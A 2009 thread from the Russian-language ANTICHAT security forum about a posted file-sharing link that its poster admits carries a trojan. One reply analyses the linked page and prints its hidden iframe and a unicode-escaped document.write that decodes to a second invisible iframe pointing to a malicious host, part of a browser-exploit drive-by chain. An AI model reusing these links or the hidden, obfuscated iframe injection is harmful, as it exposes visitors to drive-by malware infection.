ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
20.04.2009, 00:45
|
|
Banned
Регистрация: 18.04.2009
Сообщений: 78
Провел на форуме:
1928072
Репутация:
194
|
|
Видео:http://depositfiles.com/files/mjfl5oc1l
Выводы делай сам)
Да совсем забыл..файл который можно скачать с сайта,это тоже троян.
Последний раз редактировалось Not Found...; 20.04.2009 в 01:00..
|
|
|
20.04.2009, 06:36
|
|
Познающий
Регистрация: 05.11.2008
Сообщений: 92
Провел на форуме:
1562063
Репутация:
149
|
|
ты ебанулся такие ссылки выкладывать? ща всех нубов затроянишь))
тебе пришла рассылка по КЛ, а ты повёлся 
У каво дедик или виртуалка то попробуйте открыть может чел не знал (т.е. вместе с трояном там какойто ролик) чтобы я знал что он не специально отправил мну трой.
Регистрация: 11.07.2007
ппц...... |
|
|
|
20.04.2009, 07:01
|
|
Участник форума
Регистрация: 13.08.2008
Сообщений: 146
Провел на форуме:
1445936
Репутация:
159
|
|
У каво дедик или виртуалка то попробуйте открыть может чел не знал (т.е. вместе с трояном там какойто ролик) чтобы я знал что он не специально отправил мну трой.
Смысла в виртуалке/дедике нет, т.к связка использует уязвимости браузера и если граббить контент со страницы, не выводя содержимое страницы в браузер, то ничего страшного не случится.
по ссылке стоит ифрейм.
<iframe src="http://linenetz.com/stats/ru1.php" style="display:none"></iframe>
далее:
<script type="text/javascript">document.write('\u003c\u0069\u0066\u00 72\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d \u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u 006d\u0079\u0066\u0075\u0063\u006b\u0069\u006e\u00 67\u002d\u0070\u0075\u0073\u0073\u0079\u002e\u0063 \u006f\u006d\u002f\u0074\u0079\u0072\u0065\u006b\u 002f\u003f\u0074\u003d\u0038\u0022\u0020\u0073\u00 74\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073 \u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u 0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u00 61\u006d\u0065\u003e')</script>
расшифровываем
<iframe src="http://myfucking-pussy.com/tyrek/?t=8" style="display:none"></iframe>
далее страничка под gzip'ом. Ну а потом мне лень стало. Сами ковыряйте.
Последний раз редактировалось ViP-K1LLeR; 20.04.2009 в 07:09..
|
|
|
|
20.04.2009, 08:00
|
|
Познавший АНТИЧАТ
Регистрация: 22.02.2009
Сообщений: 1,888
Провел на форуме:
6757783
Репутация:
3293
|
|
Хотя бы представьте, что бы было, если по каждой ссылке переходили...
|
|
|
|
20.04.2009, 08:51
|
|
Постоянный
Регистрация: 13.02.2008
Сообщений: 505
Провел на форуме:
2916750
Репутация:
277
|
|
Вроде унипак,если предлогает что-то скачать
|
|
|
|
20.04.2009, 10:27
|
|
Banned
Регистрация: 18.04.2009
Сообщений: 78
Провел на форуме:
1928072
Репутация:
194
|
|
Сообщение от X-RayBlade
Хотя бы представьте, что бы было, если по каждой ссылке переходили...
Думаю ничего страшного,я вот по каждой хожу и вроде ничего плохого с компом не было 
Защита хорошая...
|
|
|
|
20.04.2009, 10:32
|
|
Участник форума
Регистрация: 02.11.2008
Сообщений: 222
Провел на форуме:
3459722
Репутация:
155
|
|
Сообщение от Not Found...
Думаю ничего страшного,я вот по каждой хожу и вроде ничего плохого с компом не было
Защита хорошая... Это ты так не заметно понтанулся что фаервол смог поставить?
|
|
|
|
20.04.2009, 10:37
|
|
Banned
Регистрация: 18.04.2009
Сообщений: 78
Провел на форуме:
1928072
Репутация:
194
|
|
Сообщение от waik
Это ты так не заметно понтанулся что фаервол смог поставить? Нет конечно...чтото покруче файрвола
|
|
|
|
20.04.2009, 10:40
|
|
Участник форума
Регистрация: 02.11.2008
Сообщений: 222
Провел на форуме:
3459722
Репутация:
155
|
|
Сообщение от Not Found...
Нет конечно...чтото покруче файрвола инет выключаешь чтоб вирусов небыло и сидишь с телефона наверно.
|
|
|
|
20.04.2009, 10:41
|
|
Banned
Регистрация: 18.04.2009
Сообщений: 78
Провел на форуме:
1928072
Репутация:
194
|
|
Сообщение от waik
инет выключаешь чтоб вирусов небыло и сидишь с телефона наверно.
Не угадал...
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
